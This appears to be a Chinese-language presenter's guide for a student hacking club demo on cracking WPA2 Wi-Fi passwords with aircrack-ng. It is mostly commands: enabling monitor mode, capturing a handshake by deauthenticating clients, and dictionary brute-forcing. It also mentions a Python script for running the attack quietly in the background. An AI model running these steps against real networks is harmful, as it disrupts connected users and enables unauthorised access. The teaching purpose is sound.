# wifi: what's cracking? 文件說明

> Author: Junner
> Date: 12/05/2024
> Code: https://github.com/HackerSir/My-Waifu-Is-Not-Safe
> Description: [HackMd](https://hackmd.io/WEyS9iLSRje7boteEW4bWg)
> 簡報：https://hackmd.io/@JunnerX/My-Waifu-Is-Not-Safe-Presentation

>> 虛擬機：
>> 帳號: `kali`
>> 密碼: `kali`
>>
>> 筆電：帳密在筆電底下

## 大綱

> * [懶人包：所有指令](#%E6%89%80%E6%9C%89%E6%8C%87%E4%BB%A4)
> * [虛擬機設定](#網路設定)
> * [用指令攻擊](#用指令攻擊)
> * [用 Python 攻擊](#%E7%94%A8-Python-%E7%88%86%E7%A0%B4%E5%AF%86%E7%A2%BC%E3%80%82)

## 所有指令

>用 root 權限執行 script，密碼是 `kali`。
檔案在 `~\Desktop\nets\atker\`，名稱 `sub_process_3.py`。
結果會輸出到 `passwords` 裡面，找到 KEY FOUND! \[ 1234567890 ]，那密碼就是 1234567890

打開 managed mode 與測試

ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0
aireplay-ng --test wlan0

獲得目標的 MAC 與 ACK

airodump-ng --essid OppOppOppO wlan0
airodump-ng --bssid 62:08:7D:D1:49:87 -w /home/kali/Desktop/nets/test1/ wlan0

在這裡開一個新的終端機，執行

aireplay-ng -0 30 -a 62:08:7D:D1:49:87 -c 5A:D4:F9:B3:3F:B1 wlan0

爆破密碼

aircrack-ng -a2 -b 62:08:7D:D1:49:87 -w /home/kali/Desktop/passwords/10-million-password-list-top-1000000.txt /home/kali/Desktop/nets/test1/*.cap

## 網路設定

運行 VMware Workstation

當 usb 裝置插入時，這個視窗將會彈出。選擇 `Connect to Virtual machine` > 選擇目標虛擬機器。


`OK`

執行 `iwconfig`，會看到該裝置。

如果你透過執行「lsusb」看到該設備名稱，但沒有看到它出現在「iwconfig」中，請重複執行上述步驟，或檢查下方的網路設定。如果執行了多次但仍看不到該設備，可以嘗試重新啟動虛擬機器。

設定方式：
`Tabs` >

`Edit` > `Virtual Network Editor`
不需要 bridge

`VM` > `Settings` > `Network Adapter`
通常 usb 裝置名稱會識別為 `VMnet0`

這樣設定就完成了。享受你的攻擊之旅吧！

## 用指令攻擊

**首先，終端機要開啟 root 權限，密碼是 `kali`。**

### 打開 Monitor Mode

為了攻擊，需要為 usb 裝置打開 monitor mode

ifconfig wlan0 down

運行這個後，設備將會連不到網路。

airmon-ng check kill

iwconfig wlan0 mode monitor

如果看到警告，無視他就好。

ifconfig wlan0 up
airmon-ng start wlan0

為了測試 monitor mode 已經成功啟用：

aireplay-ng --test wlan0

如果看到「Injection is working!」，那就是成功了。

### 關閉 monitor mode 和恢復網路連線

airmon-ng stop wlan0
ifconfig wlan0 down

因為你關閉了網路管理員，要恢復的話就跑：

service NetworkManager restart

### 攻擊程序

#### 1. 獲得目標 BSSID

假設攻擊目標的 wifi 名稱為 `OppOppOppO`.

airodump-ng --essid OppOppOppO wlan0

`BSSID` 的下方就是目標的 MAC。 `Ctrl+C` 中斷程式並複製 `62:08:7D:D1:49:87`

#### 獲得連線到目標的裝置的 BSSID

airodump-ng --bssid 62:08:7D:D1:49:87 -c 1 -w /home/kali/Desktop/nets/test1 wlan0

檔案會儲存在 `/home/kali/Desktop/nets/`，並有著 `test1` 的前綴。

等待 5 至 30 秒，`STATION` 的下方將會出現一些地址。
<!-- By the way, the channel `CH` should stay at `1`. -->

#### 3. get ACK

開啟另外一個終端機，而上一個執行的指令必須還在執行中，毋須關閉。

aireplay-ng -0 20 -a 62:08:7D:D1:49:87 -c 5A:D4:F9:B3:3F:B1 wlan0

#### 4. EXPLOSION!!

ACK 的副檔名是 `.cap`。通常最新的檔案的名稱會包含著最大的數字。

然後！爆破！

aircrack-ng -a2 -b 62:08:7D:D1:49:87 -w /home/kali/Desktop/passwords/10-million-password-list-top-1000000.txt /home/kali/Desktop/nets/test1*.cap


而結果會在 `passwords` 裡面: KEY FOUND! \[ 1234567890 ]

## 用 Python 爆破密碼。

基本上大部分情況都會被處理，如果還是爆開就...用上面的指令打，因為用上面的指令還比較有展示性一點，但如果用 script 就能悄悄的攻擊，兩種不一樣的方式。

所以如果可以的話，先問他們 wifi 名稱，放到 script 裡面讓他背景執行。如果真的不行的話再手動打，現場展示。

基本上會改的部分就是 `target`、`file_path`、`passwordSet_path`。

主要：
* `target`：要攻擊的目標名稱。(這次預設為 `OppOppOppO`)

其他還有像是：(通常不會動)
* `file_path`：要儲存的檔案**路徑**。
* `passwordSet_path`：密碼集文字檔的所在地。